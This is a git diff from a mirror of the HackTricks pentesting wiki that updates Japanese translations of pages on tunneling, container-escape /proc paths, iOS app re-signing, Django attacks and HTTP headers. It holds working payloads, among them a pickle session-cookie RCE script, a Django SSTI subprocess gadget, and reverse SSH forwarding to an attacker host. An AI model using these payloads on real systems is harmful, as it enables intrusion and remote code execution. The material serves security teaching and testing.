mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
5da48459f0
commit
b516dd5ecc
@ -5,7 +5,7 @@
|
||||
## Nmapのヒント
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP**および**SYN**スキャンはソックスプロキシを通してトンネリングできないため、**pingディスカバリーを無効にする**必要があります(`-Pn`)および**TCPスキャン**(`-sT`)を指定する必要があります。
|
||||
> **ICMP**および**SYN**スキャンはソックスプロキシを通じてトンネリングできないため、**pingディスカバリーを無効にする**必要があります(`-Pn`)および**TCPスキャン**(`-sT`)を指定する必要があります。
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **セキュリティ – テラピン攻撃 (CVE-2023-48795)**
|
||||
> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)または、SSHトンネルに依存する前に、`sshd_config`/`ssh_config`で脆弱な`chacha20-poly1305@openssh.com`および`*-etm@openssh.com`アルゴリズムを明示的に無効にしてください。
|
||||
> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)またはSSHトンネルに依存する前に、脆弱な `chacha20-poly1305@openssh.com` および `*-etm@openssh.com` アルゴリズムを `sshd_config`/`ssh_config` で明示的に無効にしてください。
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
**ssh**を介して**サブネットワーク**への**トラフィック**をホストを通じて**トンネル**できます。\
|
||||
例えば、10.10.10.0/24へのすべてのトラフィックを転送することができます。
|
||||
**ssh** を介してホストを通じて **サブネットワーク** への **トラフィック** をすべて **トンネル** できます。\
|
||||
例えば、10.10.10.0/24 へのすべてのトラフィックを転送すること。
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKSプロキシ
|
||||
|
||||
すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。
|
||||
チームサーバーでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ために使用できるすべてのインターフェースでリッスンします。
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -324,7 +324,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。
|
||||
これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、
|
||||
|
||||
このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには:
|
||||
```bash
|
||||
@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** でき、**SocksOverRDP プラグインが有効である** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** することになります。
|
||||
今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** できます。**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** します。
|
||||
|
||||
**RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します:
|
||||
```
|
||||
@ -401,7 +401,7 @@ Tunnel 2222:<attackers_machine>:443
|
||||
|
||||
## YARP
|
||||
|
||||
Microsoftによって作成されたリバースプロキシです。こちらで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
Microsoftによって作成されたリバースプロキシです。ここで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNSトンネリング
|
||||
|
||||
@ -415,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
トンネルは非常に遅くなります。このトンネルを通じて圧縮されたSSH接続を作成するには、次のようにします:
|
||||
トンネルは非常に遅くなります。このトンネルを通じて圧縮されたSSH接続を作成するには、次のコマンドを使用します:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
@ -446,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### プロキシチェインのDNSを変更する
|
||||
|
||||
Proxychainsは`gethostbyname` libcコールをインターセプトし、TCP DNSリクエストをソックスプロキシを通じてトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
Proxychainsは`gethostbyname` libcコールをインターセプトし、TCP DNSリクエストをソックスプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
|
||||
## Goでのトンネル
|
||||
|
||||
@ -517,7 +517,7 @@ _必要に応じて、認証とTLSを追加することも可能です。_
|
||||
```
|
||||
#### HTTPコールのスニッフィング
|
||||
|
||||
_XSS、SSRF、SSTIに役立ちます..._\
|
||||
_XSS、SSRF、SSTI ... に役立ちます。_\
|
||||
stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。
|
||||
|
||||
#### 内部HTTPサービスのトンネリング
|
||||
@ -532,7 +532,7 @@ stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:404
|
||||
3つのトンネルを開きます:
|
||||
|
||||
- 2つのTCP
|
||||
- /tmp/httpbin/ からの静的ファイルの公開を伴う1つのHTTP
|
||||
- 1つのHTTP、/tmp/httpbin/ からの静的ファイルの公開
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
上記のコマンドは、被害者のポート **8080** を **attacker_ip:9000** として公開し、追加のツールを展開することなく、理想的なリビングオフザランドピボットを実現します。
|
||||
上記のコマンドは、被害者のポート **8080** を **attacker_ip:9000** として公開し、追加のツールを展開することなく実行します - ライビングオフザランドのピボットに最適です。
|
||||
|
||||
## チェックすべき他のツール
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。
|
||||
- このファイルに書き込むことができる場合、パイプ`|`の後にプログラムまたはスクリプトのパスを書き込むことが可能で、クラッシュが発生した後に実行されます。
|
||||
- このファイルに書き込むことができる場合、クラッシュが発生した後に実行されるプログラムやスクリプトへのパスの後にパイプ`|`を書き込むことが可能です。
|
||||
- 攻撃者は、`mount`を実行してホスト内のコンテナへのパスを見つけ、そのパスをコンテナのファイルシステム内のバイナリに書き込むことができます。その後、プログラムをクラッシュさせてカーネルがコンテナの外でバイナリを実行するようにします。
|
||||
|
||||
- **テストと悪用の例**:
|
||||
@ -40,7 +40,7 @@ return 0;
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳述されています。
|
||||
- カーネルモジュールローダーへのパスを含み、カーネルモジュールをロードするために呼び出されます。
|
||||
- カーネルモジュールをロードするために呼び出されるカーネルモジュールローダーへのパスを含みます。
|
||||
- **アクセス確認の例**:
|
||||
|
||||
```bash
|
||||
@ -59,13 +59,13 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- マジックナンバーに基づいて非ネイティブバイナリ形式のインタープリターを登録することを許可します。
|
||||
- マジックナンバーに基づいて非ネイティブバイナリフォーマットのインタープリタを登録することを許可します。
|
||||
- `/proc/sys/fs/binfmt_misc/register`が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。
|
||||
- 関連するエクスプロイトと説明:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- 詳細なチュートリアル: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### その他の `/proc`
|
||||
### `/proc`内のその他
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
@ -91,30 +91,30 @@ echo b > /proc/sysrq-trigger # ホストを再起動
|
||||
- カーネルがエクスポートしたシンボルとそのアドレスをリストします。
|
||||
- KASLRを克服するためのカーネルエクスプロイト開発に不可欠です。
|
||||
- アドレス情報は、`kptr_restrict`が`1`または`2`に設定されている場合に制限されます。
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)での詳細。
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)の詳細。
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- カーネルメモリデバイス`/dev/mem`とインターフェースします。
|
||||
- 歴史的に特権昇格攻撃に対して脆弱です。
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)での詳細。
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)の詳細。
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- システムの物理メモリをELFコア形式で表します。
|
||||
- 読み取りはホストシステムや他のコンテナのメモリ内容を漏洩させる可能性があります。
|
||||
- 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。
|
||||
- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)での詳細な使用法。
|
||||
- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)の詳細な使用法。
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- カーネル仮想メモリを表す`/dev/kmem`の代替インターフェースです。
|
||||
- 読み取りと書き込みを許可し、したがってカーネルメモリの直接変更が可能です。
|
||||
- 読み取りと書き込みが可能で、したがってカーネルメモリの直接変更が可能です。
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- 物理メモリを表す`/dev/mem`の代替インターフェースです。
|
||||
- 読み取りと書き込みを許可し、すべてのメモリの変更には仮想アドレスから物理アドレスへの解決が必要です。
|
||||
- 読み取りと書き込みが可能で、すべてのメモリの変更には仮想アドレスから物理アドレスへの解決が必要です。
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
@ -291,11 +291,11 @@ locate the other containers' filesystems and SA / web identity tokens
|
||||
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
|
||||
|
||||
```text
|
||||
/run/containerd/containerd.sock # containerd CRI ソケット
|
||||
/var/run/crio/crio.sock # CRI-O ランタイムソケット
|
||||
/run/podman/podman.sock # Podman API (rootful または rootless)
|
||||
/var/run/kubelet.sock # Kubernetes ノード上の Kubelet API
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
/ run/containerd/containerd.sock # containerd CRI ソケット
|
||||
/ var/run/crio/crio.sock # CRI-O ランタイムソケット
|
||||
/ run/podman/podman.sock # Podman API (rootful または rootless)
|
||||
/ var/run/kubelet.sock # Kubernetes ノード上の Kubelet API
|
||||
/ run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
||||
Attack example abusing a mounted **containerd** socket:
|
||||
|
@ -19,13 +19,13 @@
|
||||
3. Macの`Terminal`を開き、`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`にcdします。後でこのフォルダにIPAが表示されます。
|
||||
4. あなたのiOSデバイスが表示されるはずです。それをダブルクリックし、上部メニューバーからAdd + → Appsをクリックします。
|
||||
5. Addをクリックすると、ConfiguratorがAppleからIPAをダウンロードし、デバイスにプッシュしようとします。前に私の推奨に従ってIPAをすでにインストールしている場合、アプリを再インストールするように求めるプロンプトが表示されます。
|
||||
6. IPAは`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`内にダウンロードされ、そこから取得できます。
|
||||
6. IPAは `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` 内にダウンロードされ、そこから取得できます。
|
||||
|
||||
このプロセスに関する詳細情報は[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)を確認してください。
|
||||
|
||||
### Decrypting the app
|
||||
|
||||
IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションがサポートするのは通常最新のバージョンのみであるため、バージョンがサポートされない可能性があります。
|
||||
IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションがサポートするのは通常最新のバージョンのみであるため、サポートされない可能性があります。
|
||||
|
||||
したがって、インストールするには、IPAを解凍するだけです:
|
||||
```bash
|
||||
@ -48,9 +48,9 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
### 権限のパッチと再署名
|
||||
|
||||
`get-task-allow` 権限でアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` のようなツールがいくつか利用可能です。`app-signer` は非常にユーザーフレンドリーなインターフェースを持ち、再署名する IPA ファイルを指定し、**`get-taks-allow` を設定し**、使用する証明書とプロビジョニングプロファイルを指定することが非常に簡単です。
|
||||
`get-task-allow` 権限でアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` のようなツールがいくつか利用可能です。`app-signer` は非常にユーザーフレンドリーなインターフェースを持ち、再署名する IPA ファイルを指定し、**`get-task-allow` を設定し**、使用する証明書とプロビジョニングプロファイルを指定することができます。
|
||||
|
||||
証明書と署名プロファイルに関しては、Apple は Xcode を通じてすべてのアカウントに **無料の開発者署名プロファイル** を提供しています。アプリを作成し、1 つを設定してください。その後、`Settings` → `Privacy & Security` に移動し、`Developer Mode` をクリックして **iPhone に開発者アプリを信頼させる** ように設定します。
|
||||
証明書と署名プロファイルに関しては、Apple は Xcode を通じてすべてのアカウントに **無料の開発者署名プロファイル** を提供しています。アプリを作成し、1つを設定してください。その後、`Settings` → `Privacy & Security` に移動し、`Developer Mode` をクリックして **iPhone に開発者アプリを信頼させる** ように設定します。
|
||||
|
||||
再署名された IPA を使用して、デバイスにインストールしてペンテストを行う準備が整いました。
|
||||
```bash
|
||||
@ -58,15 +58,15 @@ ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
---
|
||||
|
||||
### Developer Modeを有効にする (iOS 16+)
|
||||
### 開発者モードを有効にする (iOS 16+)
|
||||
|
||||
iOS 16以降、Appleは**Developer Mode**を導入しました。`get_task_allow`を持つバイナリ*または*開発証明書で署名されたバイナリは、デバイスでDeveloper Modeが有効になるまで起動を拒否します。このフラグがオンでない限り、Frida/LLDBをアタッチすることもできません。
|
||||
iOS 16以降、Appleは**開発者モード**を導入しました。`get_task_allow`を持つバイナリまたは開発証明書で署名されたバイナリは、デバイスで開発者モードが有効になるまで起動を拒否します。このフラグがオンでない限り、Frida/LLDBをアタッチすることもできません。
|
||||
|
||||
1. **任意の**開発者署名されたIPAを電話にインストールまたはプッシュします。
|
||||
2. **設定 → プライバシーとセキュリティ → Developer Mode**に移動し、オンに切り替えます。
|
||||
3. デバイスが再起動します。パスコードを入力した後、Developer Modeを**オンにする**ように求められます。
|
||||
2. **設定 → プライバシーとセキュリティ → 開発者モード**に移動し、オンに切り替えます。
|
||||
3. デバイスが再起動します。パスコードを入力した後、**開発者モードをオンにする**ように求められます。
|
||||
|
||||
Developer Modeは、無効にするか電話を初期化するまでアクティブなままですので、このステップはデバイスごとに一度だけ実行する必要があります。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの影響を説明しています。
|
||||
開発者モードは、無効にするか電話を初期化するまでアクティブのままですので、このステップはデバイスごとに一度だけ実行する必要があります。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの影響を説明しています。
|
||||
|
||||
### 現代のサイドロードオプション
|
||||
|
||||
@ -74,14 +74,14 @@ Developer Modeは、無効にするか電話を初期化するまでアクティ
|
||||
|
||||
| ツール | 要件 | 強み | 制限 |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | IPAを7日ごとに無料の開発プロファイルで再署名するmacOS/Windows/Linuxのコンパニオン | Wi-Fi経由の自動リロード、iOS 17まで動作 | 同じネットワーク上にコンピュータが必要、Appleによる3アプリ制限 |
|
||||
| **AltStore 2 / SideStore** | 7日ごとに無料の開発プロファイルでIPAを再署名するmacOS/Windows/Linuxのコンパニオン | Wi-Fi経由の自動リロード、iOS 17まで動作 | 同じネットワーク上にコンピュータが必要、Appleによる3アプリ制限 |
|
||||
| **TrollStore 1/2** | CoreTrustバグに脆弱なiOS 14 – 15.4.1のデバイス | *永久的*な署名(7日制限なし);インストール後はコンピュータ不要 | iOS 15.5+ではサポートされていない(バグが修正された) |
|
||||
|
||||
現在のiOSバージョンでのルーチンのペンテストには、Alt/Side-Storeが通常最も実用的な選択肢です。
|
||||
現在のiOSバージョンでのルーチンのペンテストには、Alt/Side-Storeが通常最も実用的な選択です。
|
||||
|
||||
### フック / 動的インスツルメンテーション
|
||||
|
||||
`get_task_allow`で署名され、Developer Modeがオンであれば、脱獄デバイスと同様にアプリをフックできます:
|
||||
`get_task_allow`で署名され、開発者モードがオンであれば、脱獄デバイスと同様にアプリをフックできます:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## キャッシュ操作によるRCE
|
||||
Djangoのデフォルトのキャッシュストレージ方法は[Python pickles](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバーでのRCEにエスカレートさせることができます**。
|
||||
Djangoのデフォルトのキャッシュストレージ方法は[Python pickles](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバー上でのRCEにエスカレートさせることができます**。
|
||||
|
||||
Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーまたはデータベースに保存されたキャッシュは、最も攻撃されやすいベクトル(RedisインジェクションおよびSQLインジェクション)ですが、攻撃者はファイルベースのキャッシュを使用して任意の書き込みをRCEに変えることもできるかもしれません。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、およびRedisサーバーの詳細は、実装に基づいて異なることに注意することが重要です。
|
||||
Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーやデータベースに保存されたキャッシュは最も攻撃ベクトルになりやすい(RedisインジェクションやSQLインジェクション)ですが、攻撃者はファイルベースのキャッシュを利用して任意の書き込みをRCEに変えることも可能です。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、Redisサーバーの詳細は実装に基づいて異なることに注意が必要です。
|
||||
|
||||
このHackerOneレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436
|
||||
|
||||
@ -20,27 +20,27 @@ Djangoテンプレート言語(DTL)は**チューリング完全**です。
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
レンダリングされた出力に`49`が含まれている場合、入力はテンプレートエンジンによってコンパイルされています。
|
||||
レンダリングされた出力に`49`が含まれていれば、入力はテンプレートエンジンによってコンパイルされています。
|
||||
|
||||
### プリミティブからRCEへ
|
||||
Djangoは`__import__`への直接アクセスをブロックしますが、Pythonオブジェクトグラフにはアクセス可能です:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
`subprocess.Popen`のインデックスを見つけて(Pythonビルドによって約400〜500)、任意のコマンドを実行します:
|
||||
`subprocess.Popen`のインデックスを見つけ(Pythonビルドによって約400〜500)、任意のコマンドを実行します:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
より安全なユニバーサルガジェットは、`cls.__name__ == 'Popen'`になるまで繰り返すことです。
|
||||
より安全なユニバーサルガジェットは、`cls.__name__ == 'Popen'`になるまで反復することです。
|
||||
|
||||
同じガジェットは、ユーザー入力を誤って処理する**Debug Toolbar**や**Django-CMS**のテンプレートレンダリング機能にも適用されます。
|
||||
|
||||
---
|
||||
|
||||
## ピクルバックセッションクッキーRCE
|
||||
設定`SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`が有効になっている場合(またはピクルをデシリアライズするカスタムシリアライザー)、Djangoは**ビューコードを呼び出す前に**セッションクッキーを*復号化し、デシリアライズ*します。したがって、有効な署名キー(デフォルトではプロジェクトの`SECRET_KEY`)を持っているだけで、即座にリモートコード実行が可能です。
|
||||
設定`SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`が有効になっている場合(またはピクルをデシリアライズするカスタムシリアライザ)、Djangoは**ビューコードを呼び出す前に**セッションクッキーを*復号化し、デシリアライズ*します。したがって、有効な署名キー(デフォルトではプロジェクトの`SECRET_KEY`)を持っているだけで、即座にリモートコード実行が可能です。
|
||||
|
||||
### 脆弱性の要件
|
||||
### 攻撃要件
|
||||
* サーバーが`PickleSerializer`を使用している。
|
||||
* 攻撃者が`settings.SECRET_KEY`を知っている/推測できる(GitHub、`.env`、エラーページなどからの漏洩)。
|
||||
|
||||
@ -58,17 +58,17 @@ return (os.system, ("id > /tmp/pwned",))
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
送信されたクッキーは、WSGIワーカーの権限で実行されます。
|
||||
クッキーを送信すると、ペイロードはWSGIワーカーの権限で実行されます。
|
||||
|
||||
**緩和策**: デフォルトの `JSONSerializer` を維持し、`SECRET_KEY` をローテーションし、`SESSION_COOKIE_HTTPONLY` を設定します。
|
||||
|
||||
---
|
||||
|
||||
## 最近の(2023-2025)高影響Django CVEのペンテスターが確認すべき事項
|
||||
* **CVE-2025-48432** – *エスケープされていない `request.path` を介したログインジェクション*(2025年6月4日修正)。攻撃者が改行/ANSIコードをログファイルに密輸し、下流のログ分析を汚染することを可能にします。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
## 最近の(2023-2025)高影響Django CVEをペンテスターが確認すべき
|
||||
* **CVE-2025-48432** – *エスケープされていない `request.path` を介したログインジェクション*(2025年6月4日修正)。攻撃者が改行/ANSIコードをログファイルに密輸し、下流のログ分析を毒することを可能にします。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
* **CVE-2024-42005** – *`JSONField` の `QuerySet.values()/values_list()` における重大なSQLインジェクション*(CVSS 9.8)。JSONキーを作成して引用から抜け出し、任意のSQLを実行します。4.2.15 / 5.0.8で修正。
|
||||
|
||||
常に `X-Frame-Options` エラーページまたは `/static/admin/css/base.css` ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストしてください。
|
||||
常に `X-Frame-Options` エラーページまたは `/static/admin/css/base.css` ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストします。
|
||||
|
||||
---
|
||||
|
||||
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
|
||||
* Djangoセキュリティリリース – "Django 5.2.2, 5.1.10, 4.2.22がCVE-2025-48432に対処" – 2025年6月4日。
|
||||
* OP-Innovate: "DjangoがSQLインジェクションの欠陥CVE-2024-42005に対処するためのセキュリティ更新をリリース" – 2024年8月11日。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -26,16 +26,16 @@
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (ホップバイホップヘッダーを確認)
|
||||
- `Connection: close, X-Forwarded-For` (ホップごとのヘッダーを確認)
|
||||
|
||||
**場所**の書き換え:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## ホップバイホップヘッダー
|
||||
## ホップごとのヘッダー
|
||||
|
||||
ホップバイホップヘッダーは、リクエストを処理しているプロキシによって処理され、消費されることを目的としたヘッダーであり、エンドツーエンドヘッダーとは対照的です。
|
||||
ホップごとのヘッダーは、リクエストを処理しているプロキシによって処理され、消費されることを目的としたヘッダーであり、エンドツーエンドのヘッダーとは異なります。
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -58,10 +58,10 @@
|
||||
|
||||
- **`X-Cache`**は、リクエストがキャッシュされていない場合は**`miss`**、キャッシュされている場合は**`hit`**の値を持つことがあります。
|
||||
- ヘッダー**`Cf-Cache-Status`**でも同様の動作があります。
|
||||
- **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回キャッシュされる時期を示します: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**は、通常はキーがないヘッダーであっても、**キャッシュキーの一部**として扱われる**追加ヘッダー**を示すために、レスポンスでよく使用されます。
|
||||
- **`Age`**は、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`**も、リソースがキャッシュされていることを示します。
|
||||
- **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回キャッシュされる時間を示します: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**は、通常はキーが設定されていない追加のヘッダーをキャッシュキーの一部として扱うことを示すために、レスポンスでよく使用されます。
|
||||
- **`Age`**は、オブジェクトがプロキシキャッシュに存在している時間(秒)を定義します。
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`**もリソースがキャッシュされていることを示します。
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -84,7 +84,7 @@
|
||||
|
||||
- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合はどの単位でレンジを表現できるかを示します。`Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: サーバーが返すべきドキュメントの部分を示します。例えば、`Range:80-100`は、元のレスポンスのバイト80から100を返し、ステータスコード206 Partial Contentを伴います。また、リクエストから`Accept-Encoding`ヘッダーを削除することを忘れないでください。
|
||||
